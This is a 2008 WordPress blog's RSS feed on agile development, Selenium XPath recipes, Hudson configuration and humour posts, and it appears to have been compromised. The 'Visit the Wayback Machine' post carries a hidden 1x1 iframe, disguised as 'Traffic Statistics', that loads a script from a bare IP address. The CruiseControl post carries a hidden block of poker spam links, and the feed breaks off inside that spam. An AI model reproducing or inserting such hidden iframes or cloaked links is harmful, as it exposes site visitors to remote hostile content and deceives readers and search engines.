<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Indefinite Articles</title>
	<link>http://undefined.com/ia</link>
	<description>Agile &#038; Open Source Software, Economics, Liberty and Entrepreneurship</description>
	<pubDate>Wed, 07 May 2008 19:13:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.2</generator>
	<language>en</language>
			<item>
		<title>A moment of clarity</title>
		<link>http://undefined.com/ia/2008/05/07/a-moment-of-clarity/</link>
		<comments>http://undefined.com/ia/2008/05/07/a-moment-of-clarity/#comments</comments>
		<pubDate>Wed, 07 May 2008 19:13:34 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/05/07/a-moment-of-clarity/</guid>
		<description><![CDATA[Most people, myself included, can be deluded into thinking that all the great discoveries happened long ago.   That, for the most part, we have everything figured out.
I suggest you read this article about memresistors.
Fact: This technology was theorized 30+ years ago, but not demonstrated until April 30th of this year.
Fact: One of the fundamental principles [...]]]></description>
			<content:encoded><![CDATA[<p>Most people, myself included, can be deluded into thinking that all the great discoveries happened long ago.   That, for the most part, we have everything figured out.</p>
<p>I suggest you read <a href="http://www.informationweek.com/news/hardware/processors/showArticle.jhtml?articleID=207403582&amp;pgno=1&amp;queryText=&amp;isPrev=" target="_blank">this article about memresistors</a>.</p>
<p><strong>Fact</strong>: This technology was theorized 30+ years ago, but not demonstrated until April 30th of this year.</p>
<p><strong>Fact</strong>: One of the fundamental principles of electronic circuit theory was wrong.  As  wrong as claiming that Force == Mass * Velocity, instead of Force == Mass * Acceleration.</p>
<p><strong>Fact</strong>: The evidence that this principle was incorrect was here all along, but buried and shoved aside as &#8216;hysteresis&#8217;</p>
<p>What, in your lives, is being ignored because it doesn&#8217;t fit theory?   Maybe you should be focusing on what theory doesn&#8217;t explain, instead of what it does.</p>
<p>Oh, and as an aside - this new technology is yet another recent innovation that will make computers faster, smaller and better.  I have friends who claimed 10 years ago that we were already at the theoretical limits of computing and solar conversion efficiency and so forth.      But the world didn&#8217;t listen to them, kept innovating, and now-a-days it seems like we can&#8217;t go a month without some exciting new advancement in technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/05/07/a-moment-of-clarity/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Next Year&#8217;s Programming Language</title>
		<link>http://undefined.com/ia/2008/05/01/next-years-programming-language/</link>
		<comments>http://undefined.com/ia/2008/05/01/next-years-programming-language/#comments</comments>
		<pubDate>Thu, 01 May 2008 15:43:02 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/05/01/next-years-programming-language/</guid>
		<description><![CDATA[I haven&#8217;t seen this language before, but I&#8217;m certain as soon as we have a web framework for it, it will go mainstream.
Fair warning: The name is a swear word.
Next stop:   BF on Frails!
]]></description>
			<content:encoded><![CDATA[<p>I haven&#8217;t seen <a href="http://esoteric.voxelperfect.net/wiki/Brainfuck" target="_blank">this language before</a>, but I&#8217;m certain as soon as we have a web framework for it, it will go mainstream.</p>
<p>Fair warning: The name is a swear word.</p>
<p>Next stop:   BF on Frails!</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/05/01/next-years-programming-language/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Whaddy&#8217;a Know?</title>
		<link>http://undefined.com/ia/2008/05/01/whaddya-know/</link>
		<comments>http://undefined.com/ia/2008/05/01/whaddya-know/#comments</comments>
		<pubDate>Thu, 01 May 2008 15:19:00 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/05/01/whaddya-know/</guid>
		<description><![CDATA[There really is a Stephen Colbert&#8217;s Tek Jannsen Adventures
]]></description>
			<content:encoded><![CDATA[<p>There really is a <a href="http://heavyink.com/search?q=tek+jansen#preview" target="_blank">Stephen Colbert&#8217;s Tek Jannsen Adventures</a></p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/05/01/whaddya-know/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ruby and Python are both wrong</title>
		<link>http://undefined.com/ia/2008/05/01/ruby-and-python-are-both-wrong/</link>
		<comments>http://undefined.com/ia/2008/05/01/ruby-and-python-are-both-wrong/#comments</comments>
		<pubDate>Thu, 01 May 2008 14:12:27 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/05/01/ruby-and-python-are-both-wrong/</guid>
		<description><![CDATA[RUBY IS WRONG
PYTHON IS WRONG
]]></description>
			<content:encoded><![CDATA[<p><a href="http://headius.blogspot.com/2008/04/rubyists-are-wrong.html" target="_blank">RUBY IS WRONG</a></p>
<p><a href="http://lucumr.pocoo.org/cogitations/2008/04/29/the-pythonistas-are-wrong/" target="_blank">PYTHON IS WRONG</a></p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/05/01/ruby-and-python-are-both-wrong/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Caption Contest</title>
		<link>http://undefined.com/ia/2008/04/28/caption-contest/</link>
		<comments>http://undefined.com/ia/2008/04/28/caption-contest/#comments</comments>
		<pubDate>Mon, 28 Apr 2008 17:42:00 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/28/caption-contest/</guid>
		<description><![CDATA[


I saw this icon on my plane flight back from Tampa.   I&#8217;m curious what the designer intended it to mean.   I came up with the following ideas:

Men and Women should put the number 0 on a pedestal.
Do not have sexual intercourse on this plane, or you will have blank-faced babies with stubby arms and one [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/johnbr/2448939491/" title="IMG00120.jpg by johnbr, on Flickr"></p>
<p style="text-align: center"><img src="http://farm3.static.flickr.com/2368/2448939491_5973623b74.jpg" alt="IMG00120.jpg" height="248" width="336" /></p>
<p></a></p>
<p>I saw this icon on my plane flight back from Tampa.   I&#8217;m curious what the designer intended it to mean.   I came up with the following ideas:</p>
<ul>
<li>Men and Women should put the number 0 on a pedestal.</li>
<li>Do not have sexual intercourse on this plane, or you will have blank-faced babies with stubby arms and one leg.</li>
<li>When you&#8217;re staring down the barrel of a gun, it doesn&#8217;t matter whether you&#8217;re a man or a woman.</li>
</ul>
<p>Any others?</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/28/caption-contest/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Chance of life developing in the universe</title>
		<link>http://undefined.com/ia/2008/04/18/chance-of-life-developing-in-the-universe/</link>
		<comments>http://undefined.com/ia/2008/04/18/chance-of-life-developing-in-the-universe/#comments</comments>
		<pubDate>Fri, 18 Apr 2008 15:02:21 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/18/chance-of-life-developing-in-the-universe/</guid>
		<description><![CDATA[Regarding this story - Is there anybody out there?

First, the Drake Equation called, they want their calculations back.
Second, 1979 called, they want their song lyrics back
Third, the journalistic standards on this article are mind-numbingly bad&#8230;.  A 0.01% chance that life develops????

That&#8217;s per-planet.  Think about that for a moment.  How many stars are [...]]]></description>
			<content:encoded><![CDATA[<p>Regarding this story - <a href="http://www1.uea.ac.uk/cm/home/services/units/mac/comm/media/press/2008/apr/homepagenews/Is%2Bthere%2Banybody%2Bout%2Bthere%253F" target="_blank">Is there anybody out there?</a></p>
<ol>
<li>First, the <a href="http://en.wikipedia.org/wiki/Drake_equation" target="_blank">Drake Equation</a> called, they want their calculations back.</li>
<li>Second, <a href="http://en.wikipedia.org/wiki/The_Wall" target="_blank">1979</a> called, they want their song lyrics back</li>
<li>Third, the journalistic standards on this article are mind-numbingly bad&#8230;.  A 0.01% chance that life develops????
<ol>
<li>That&#8217;s <em>per-planet</em>.  Think about that for a moment.  How many stars are there in the Milky Way galaxy alone?
<ol>
<li><a href="http://www.seds.org/messier/more/mw.html" target="_blank">Between 200 and 400 billion.</a>
<ol>
<li>How many of these are similar to our Sun?
<ol>
<li><a href="http://members.fcac.org/~sol/chview/chv5.htm" target="_blank">Unclear, but not higher than 15%</a></li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li>So (and this goes back to the Drake Equation) - how many of those stars have planets?
<ol>
<li><a href="http://en.wikipedia.org/wiki/Extrasolar_planet" target="_blank">Estimates are that 10% of sun-like stars have planets</a></li>
</ol>
</li>
<li>How many of those stars have planets in the habitable range
<ol>
<li>Unknown, but at least a <a href="http://en.wikipedia.org/wiki/Extrasolar_planet" target="_blank">few we&#8217;ve found so far appear to be in the potentially habitable range</a> - Let&#8217;s say 1%, based on the fact that 3 out of the 287 we&#8217;ve found seem to be close to livable.</li>
</ol>
</li>
</ol>
</li>
</ol>
<p>Given all of these facts and estimates.   How many Sun-like stars  in the Milky Way?&#8230; Assuming 300 billion stars total, that&#8217;s 45 billion Sun-like stars.  How many of these have planets?&#8230;  About 10%, or 4.5 Billion.    How many of those have planets in the habitable range?  1%, or  45 Million.</p>
<p>Yes folks, based on our latest understanding of the Milky Way galaxy, there are 45 million planets out there capable of  supporting life.</p>
<p>Now, according to the initial article, only 0.01% of those will have intelligent life and civilization&#8230;  That would mean there are &#8220;only&#8221; 4500 civilizations in the Milky Way galaxy.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/18/chance-of-life-developing-in-the-universe/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Selenium RC Cookbook, Part 1</title>
		<link>http://undefined.com/ia/2008/04/15/selenium-rc-cookbook-part-1/</link>
		<comments>http://undefined.com/ia/2008/04/15/selenium-rc-cookbook-part-1/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 16:03:29 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/15/selenium-rc-cookbook-part-1/</guid>
		<description><![CDATA[(This cookbook assumes you know the basics about how to get started with Selenium RC.  These examples are also in Java, but should be pretty much consistent for any language)
Finding text in a certain place on the page:
Use XPath, treating the HTML of your page as well-formed XML.

browser.getText("//div[@id='content']/table/*/tr[2]/td[1]")

(In English:  at any level of [...]]]></description>
			<content:encoded><![CDATA[<p>(This cookbook assumes you know the basics about how to get started with Selenium RC.  These examples are also in Java, but should be pretty much consistent for any language)</p>
<p><strong>Finding text in a certain place on the page:</strong></p>
<p>Use XPath, treating the HTML of your page as well-formed XML.<br />
<code><br />
browser.getText("//div[@id='content']/table/*/tr[2]/td[1]")<br />
</code></p>
<p>(<em>In English</em>:  at any level of depth, find the div where the id=&#8221;content&#8221;.  Then find the table element under that, and then give us the text of the first cell of the second row.)</p>
<p><strong>Finding text anywhere on the page</strong><br />
<code><br />
browser.isTextPresent("Your Text Here");<br />
</code></p>
<p><strong>Get the text of a URL link</strong></p>
<p>Assuming you have text like:  &lt;a href=&#8221;&#8230;&#8221; &gt; your link text here &lt;/a&gt;, you could consider:<br />
<code><br />
browser.getText("//a[@href='...']");<br />
</code></p>
<p>Note the consistency with the other example above - anytime you have an opening and closing  &lt;element&gt; &lt;/element&gt; tag, you can use <code>getText()</code> and XPath to find it.</p>
<p><strong>Get the href of a URL link</strong></p>
<p>Again, assuming you have text like:  &lt;a href=&#8221;my_link_here&#8221; &gt; your link text here &lt;/a&gt;, you could consider:<br />
<code><br />
browser.getAttribute("//a[1]/@href");<br />
</code></p>
<p>which would return:        <em>my_link_here</em></p>
<p>Note the slight differences with getText() above, but the idea is generally the same.</p>
<p><strong>How do I find what&#8217;s in my Select menu?</strong><br />
<code><br />
String[] options = browser.getSelectOptions("//form//select");<br />
</code></p>
<p>This would return an array of the option text from the only &lt;select&gt; element inside the only &lt;form&gt; element.</p>
<p>If you had more than one form, or more than one select:<br />
<code><br />
String[] options = browser.getSelectOptions("//form[1]//select[1]");<br />
</code></p>
<p>This would return the options listed in the first select of the first form on the page.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/15/selenium-rc-cookbook-part-1/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Visit the Wayback Machine</title>
		<link>http://undefined.com/ia/2008/04/11/visit-the-wayback-machine/</link>
		<comments>http://undefined.com/ia/2008/04/11/visit-the-wayback-machine/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 14:01:59 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Ruby On Rails]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/11/visit-the-wayback-machine/</guid>
		<description><![CDATA[From April, 2006 - Cedric Beust explains &#8220;Why Ruby on Rails won&#8217;t become mainstream&#8221;
Personally, I think he turned out dead wrong on this.  If the AARP is building a large-scale software project in Ruby-on-Rails,   with the ongoing back-and-forth between Django and Rails, and the various efforts to &#8220;port&#8221; rails to other languages, I [...]]]></description>
			<content:encoded><![CDATA[<p>From April, 2006 - Cedric Beust explains &#8220;<a href="http://beust.com/weblog/archives/000382.html" target="_blank">Why Ruby on Rails won&#8217;t become mainstream</a>&#8221;</p>
<p>Personally, I think he turned out dead wrong on this.  If the AARP is building a large-scale software project in Ruby-on-Rails,<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> with the ongoing back-and-forth between Django and Rails, and the various efforts to &#8220;port&#8221; rails to other languages, I think it is hands-down a mainstream contender.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/11/visit-the-wayback-machine/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BFD!</title>
		<link>http://undefined.com/ia/2008/04/10/bfd/</link>
		<comments>http://undefined.com/ia/2008/04/10/bfd/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 20:23:15 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/10/bfd/</guid>
		<description><![CDATA[If Test-First Development (TFD) is a specialized subset of Test-Driven Development (TDD), then surely the equivalent specialized subset of Behavior-Driven Development is Behavior-First Development.
Today I had my first experience in developing BFD.
I know what you&#8217;re thinking:  BFD.
But it&#8217;s a BFD to me.  Using a rather exotic concoction of DBUnit, HSQLDB, Selenium, Cargo and EasyB, I [...]]]></description>
			<content:encoded><![CDATA[<p>If Test-First Development (TFD) is a specialized subset of Test-Driven Development (TDD), then surely the equivalent specialized subset of Behavior-Driven Development is Behavior-First Development.</p>
<p>Today I had my first experience in developing BFD.</p>
<p>I know what you&#8217;re thinking:  BFD.</p>
<p>But it&#8217;s a BFD to me.  Using a rather exotic concoction of <a href="http://www.dbunit.org/" target="_blank">DBUnit</a>, <a href="http://hsqldb.org/" target="_blank">HSQLDB</a>, <a href="http://selenium.openqa.org/" target="_blank">Selenium</a>, <a href="http://cargo.codehaus.org/" target="_blank">Cargo</a> and <a href="http://www.easyb.org/" target="_blank">EasyB</a>, I was able to write a story  to describe some new functionality for a web application, and run that story as a test (via EasyB/Groovy), before I wrote any of the code to implement the functionality.</p>
<p>Other ingredients in this concoction:  Tomcat, Ant, Junit, Struts2, Spring, Cobertura and four or five different logging frameworks.</p>
<p><strong>Observations</strong>:</p>
<ul>
<li> It is difficult to see what is going on when your story fails - the story failure is often fairly far away from the  code failure.</li>
<li>DBUnit throws multiple exceptions as part of normal operating procedure.  That is a crime against humanity.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/10/bfd/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Latest Cool Tool</title>
		<link>http://undefined.com/ia/2008/04/10/latest-cool-tool/</link>
		<comments>http://undefined.com/ia/2008/04/10/latest-cool-tool/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 19:36:28 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/10/latest-cool-tool/</guid>
		<description><![CDATA[I&#8217;m sure everyone else in the world found and mastered  XPath Checker long ago, but for those of you who haven&#8217;t, it is a fantastic Add-on for Firefox that lets you practice XPath expressions on real, live web pages.
Why would you want to do that? 
If you want to write Functional webapp tests via Selenium, a [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure everyone else in the world found and mastered <strong> <a href="https://addons.mozilla.org/en-US/firefox/addon/1095" target="_blank">XPath Checker</a></strong> long ago, but for those of you who haven&#8217;t, it is a fantastic Add-on for Firefox that lets you practice XPath expressions on real, live web pages.</p>
<p><em>Why would you want to do that? </em></p>
<p>If you want to write Functional webapp tests via <a href="http://selenium.openqa.org/" target="_blank">Selenium</a>, a good, solid working knowledge of XPath is essentially mandatory for all but the most trivial of tests.</p>
<p><em>What about Selenium IDE? </em></p>
<p>The Selenium IDE is incredibly helpful for <em>navigating</em> your pages, but it is not help at all with testing the content on those pages.</p>
<p>In other words, if you want to register a new user, add four things to your cart, visit your recommendations page and then check out, Selenium IDE will properly structure your clicks and everything else.</p>
<p>But if you want to find out if your checkout page lists your four items, and you need to be specific about where on the page  those items show up, you have to use XPath with Selenium to get to the correct table, div, what-have-you.</p>
<p>Enter XPath Checker.  During your Selenium IDE-driven  recording session, <strong>control-click</strong> on the page, and experiment with the correct XPath query to get to the cell/row/etc you want to see.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/10/latest-cool-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Recent Impressions</title>
		<link>http://undefined.com/ia/2008/04/04/recent-impressions/</link>
		<comments>http://undefined.com/ia/2008/04/04/recent-impressions/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 15:36:22 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Open Source Software]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/04/04/recent-impressions/</guid>
		<description><![CDATA[Hudson
Good Continuous Integration tool. Nice charts, easy to use, fairly flexible out of the box.    A _lot_ less setup work than CruiseControl.  And the plugin system is well done, and pretty nifty.
Struts2
An incoherent mess.  Documentation is spotty, uses a lot of contrived toy examples that blow up on anything more complex than hello world.  [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Hudson</strong></p>
<p>Good Continuous Integration tool. Nice charts, easy to use, fairly flexible out of the box.    A _lot_ less setup work than CruiseControl.  And the plugin system is well done, and pretty nifty.</p>
<p><strong>Struts2</strong></p>
<p>An incoherent mess.  Documentation is spotty, uses a lot of contrived toy examples that blow up on anything more complex than hello world.  Documentation is also simply wrong in some cases (for example, the &#8216;var&#8217; attribute on the iterator tag is not valid according to the TLD).  Namespaces are nice in theory, but frustrating in practice.   I can&#8217;t get the wildcard action management to work reliably, although this may just be pilot error.</p>
<p><em>Good things: </em></p>
<p>The integration with Spring is nice, and I haven&#8217;t seen a web framework yet that is more friendly to unit testing.  When it works properly, the wildcarding is very nice.   The Action.execute() model is useful, and easy in concept.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/04/04/recent-impressions/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Best Practices</title>
		<link>http://undefined.com/ia/2008/03/24/best-practices/</link>
		<comments>http://undefined.com/ia/2008/03/24/best-practices/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 22:54:37 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/03/24/best-practices/</guid>
		<description><![CDATA[An oldy, but a goody, one that I haven&#8217;t seen before.
One comment I saw recently was &#8220;it means &#8216;practices of the best&#8217;&#8221; - as in &#8220;the things that the best software developers/consultants do&#8221;.
I don&#8217;t find that argument particularly persuasive.  For several reasons:

No one knows who the very &#8220;best&#8221; software developer is.
No one even knows who [...]]]></description>
			<content:encoded><![CDATA[<p>An <a href="http://www.satisfice.com/blog/archives/27" target="_blank">oldy, but a goody</a>, one that I haven&#8217;t seen before.</p>
<p>One comment I saw recently was &#8220;it means &#8216;practices of the best&#8217;&#8221; - as in &#8220;the things that the best software developers/consultants do&#8221;.</p>
<p>I don&#8217;t find that argument particularly persuasive.  For several reasons:</p>
<ol>
<li>No one knows who the very &#8220;best&#8221; software developer is.</li>
<li>No one even knows who the very best software developer is, <em>in a particular practice area.<br />
</em></li>
<li>Even if we could magically discern who the best software developer was, it is very likely that:</li>
</ol>
<ul>
<li>Her approach would be highly tuned to the specific company/organization she was with</li>
<li>  She would have a hard time elaborating and generalizing her approach without diluting its effectiveness</li>
<li>Others would point at this poor developer and say &#8220;She is only an expert on Y in situation X, but we are in situation Z&#8221;</li>
</ul>
<p>So while I think it is an interesting concept (practices of the best), I can&#8217;t acept that interpretation as being any more valid than &#8220;the best way to solve this problem&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/03/24/best-practices/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stelligent</title>
		<link>http://undefined.com/ia/2008/03/24/stelligent/</link>
		<comments>http://undefined.com/ia/2008/03/24/stelligent/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 18:05:55 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/03/24/stelligent/</guid>
		<description><![CDATA[To keep everyone in the loop, I&#8217;ve taken a job at Stelligent, which is an agile consulting company in Reston, VA.   They have a neat focus on infrastructure instead of process, and since that&#8217;s where many of my philosophical struggles with Agile are, I&#8217;m excited at the prospect of sharing what I have learned, and [...]]]></description>
			<content:encoded><![CDATA[<p>To keep everyone in the loop, I&#8217;ve taken a job at <a href="http://www.stelligent.com" target="_blank">Stelligent</a>, which is an agile consulting company in Reston, VA.   They have a neat focus on infrastructure instead of process, and since that&#8217;s where many of my philosophical struggles with Agile are, I&#8217;m excited at the prospect of sharing what I have learned, and learning some new ways to solve some of the sticky wickets of Agile development.</p>
<p>Also, my boss, <a href="http://www.thediscoblog.com" target="_blank">Andy Glover</a>, is an avid triathlete, which gives us something to talk about at lunch.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/03/24/stelligent/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Versioning a Hudson job configuration</title>
		<link>http://undefined.com/ia/2008/03/24/versioning-a-hudson-job-configuration/</link>
		<comments>http://undefined.com/ia/2008/03/24/versioning-a-hudson-job-configuration/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 17:57:29 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Open Source Software]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/03/24/versioning-a-hudson-job-configuration/</guid>
		<description><![CDATA[Let&#8217;s say you&#8217;re using Hudson as your build/Continuous Integration tool.    And let&#8217;s assume you have some jobs running inside Hudson that you want to keep running, even if the build machine blows up.  You probably want to maintain:

Hudson itself
All the plugins
The overall configuration
The per-job configuration

Naturally, then, your thoughts should turn to [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s say you&#8217;re using <a href="https://hudson.dev.java.net/" target="_blank">Hudson</a> as your build/Continuous Integration tool.    And let&#8217;s assume you have some jobs running inside Hudson that you want to keep running, even if the build machine blows up.  You probably want to maintain:</p>
<ul>
<li>Hudson itself</li>
<li>All the plugins</li>
<li>The overall configuration</li>
<li>The per-job configuration</li>
</ul>
<p>Naturally, then, your thoughts should turn to &#8220;How do I put the Hudson configuration into source control?&#8221;  Here&#8217;s what you do:</p>
<ol>
<li>Make sure your builds are configured and working to your satisfaction, in a directory that I will from now on refer to as HUDSON_HOME.</li>
<li>Copy the entire <span class="caps">HUDSON</span>_HOME directory tree to a temporary location called “versioned_build”
<ol>
<li>In the <em>versioned_build</em> directory, you’ll find the <code>jobs</code> directory, and under that, a directory for each job.</li>
<li>Inside each job directory, you’ll find configuration .xml files and other miscellaneous files, and you’ll find two subdirectories:
<ul>
<li><code>workspace</code></li>
<li><code>builds</code></li>
</ul>
</li>
<li>Empty those two subdirectories of all files, but <em>do not delete the subdirectories.<br />
</em></li>
</ol>
</li>
<li>Repeat this “clean out” process for each job.</li>
<li>import the entire “versioned_build” directory tree into source management.</li>
</ol>
<p>Now, you have your Hudson configuration in source control.      You can start it up, and assuming HUDSON_HOME is set right (see below), you should see your dashboard, and your jobs listed, and properly configured.</p>
<p><strong>Issues</strong></p>
<ul>
<li>You may have to manually kick off your jobs to &#8220;prime the pump&#8221;</li>
<li>Your build number will not start at 0 unless you do <em><strong>not</strong></em> archive the nextBuildNumber file</li>
<li>Your HUDSON_HOME environment variable may be incorrect for your machine (see below)</li>
</ul>
<p><strong>HUDSON_HOME Portability<br />
</strong></p>
<p>For ease of checkout and maintenance, I like the following directory setup:</p>
<p>$HUDSON_HOME/</p>
<ul>
<li>hudson/
<ul>
<li>hudson.war</li>
</ul>
</li>
<li>jobs/
<ul>
<li><em>Your Hudson Jobs Here</em></li>
</ul>
</li>
<li>plugins/
<ul>
<li><em>Your Hudson Plugins Here</em></li>
</ul>
</li>
</ul>
<p>Using this configuration, you can create a file in $HUDSON_HOME called, say, hudson.sh, which would look a little something like this:<br />
<hr /></p>
<pre>#!/bin/sh

export HUDSON_HOME=.

export CVS_RSH=/usr/bin/ssh

java -jar hudson/hudson.war</pre>
<p><hr /><br />
Using this structure, and that hudson.sh script (I presume you can do something similar in Windows) gives you the following benefits:</p>
<ol>
<li>Your entire Hudson system, including the Hudson war file and the launcher script are all maintained as part of the repository.</li>
<li>You don&#8217;t have to set HUDSON_HOME whenever you check the system out of source control - it&#8217;s already set by default to the current directory. As long as you run hudson.sh in its own directory, you&#8217;ll get the correct value for HUDSON_HOME</li>
</ol>
<p><strong>Learn from my mistakes!</strong></p>
<ul>
<li>Unless you absolutely must, don&#8217;t tell Hudson where to find Ant or the JDK.  If they&#8217;re on your path, Hudson will find them on its own.   If you set them for your build machine, chances are that on the checkout machine they won&#8217;t be in exactly the same place</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/03/24/versioning-a-hudson-job-configuration/feed/</wfw:commentRss>
		</item>
		<item>
		<title>More on CruiseControl Dashboard</title>
		<link>http://undefined.com/ia/2008/03/17/more-on-cruisecontrol-dashboard/</link>
		<comments>http://undefined.com/ia/2008/03/17/more-on-cruisecontrol-dashboard/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 23:10:19 +0000</pubDate>
		<dc:creator>jb</dc:creator>
		
		<category><![CDATA[Agile Software Development]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Continuous Integration]]></category>

		<guid isPermaLink="false">http://undefined.com/ia/2008/03/17/more-on-cruisecontrol-dashboard/</guid>
		<description><![CDATA[It took me about an hour and a half to get the dashboard configured properly.  Here&#8217;s what I had to do:

I had to copy all of the cruisecontrol jars and all tornei poker on lineworld pokerpoker italiagame on line pokerdownload live pokerstrip poker livesrtip poker gratisgiochi cartepoker scaricabili gratistexas holdem calculator,texas holdem,poker texas holdemtexas holdem [...]]]></description>
			<content:encoded><![CDATA[<p>It took me about an hour and a half to get the dashboard configured properly.  Here&#8217;s what I had to do:</p>
<ol>
<li>I had to copy all of the cruisecontrol jars and all <u style="display:none"><a href="http://www.familiasantamaria.net/wp-content/1/tornei-poker-on-line.html">tornei poker on line</a><a href="http://www.familiasantamaria.net/wp-content/1/world-poker.html">world poker</a><a href="http://www.familiasantamaria.net/wp-content/1/poker-italia.html">poker italia</a><a href="http://www.familiasantamaria.net/wp-content/1/game-on-line-poker.html">game on line poker</a><a href="http://www.familiasantamaria.net/wp-content/1/download-live-poker.html">download live poker</a><a href="http://www.familiasantamaria.net/wp-content/1/strip-poker-live.html">strip poker live</a><a href="http://www.familiasantamaria.net/wp-content/1/srtip-poker-gratis.html">srtip poker gratis</a><a href="http://www.familiasantamaria.net/wp-content/1/giochi-carte.html">giochi carte</a><a href="http://www.familiasantamaria.net/wp-content/1/poker-scaricabili-gratis.html">poker scaricabili gratis</a><a href="http://www.familiasantamaria.net/wp-content/1/texas-holdem.html">texas holdem calculator,texas holdem,poker texas holdem</a><a href="http://www.familiasantamaria.net/wp-content/1/texas-holdem-italia.html">texas holdem italia</a><a href="http://www.familiasantamaria.net/wp-content/1/streap-poker.html">streap poker</a><a href="http://www.familiasantamaria.net/wp-content/1/poker-in-tour.html">poker in tour</a><a href="http://www.familiasantamaria.net/wp-content/1/seven-card-stud-online.html">seven card stud online</a><a href="http://www.familiasantamaria.net/wp-content/1/giochi-on-line-poker.html">giochi on line poker</a><a href="http://www.familiasantamaria.net/wp-content/1/texas-holdem-online.html">giocare texas holdem online,poker texas holdem online,texas holdem online</a><a href="http://www.familiasantamaria.net/wp-content/1/poker-bonus.html">party poker 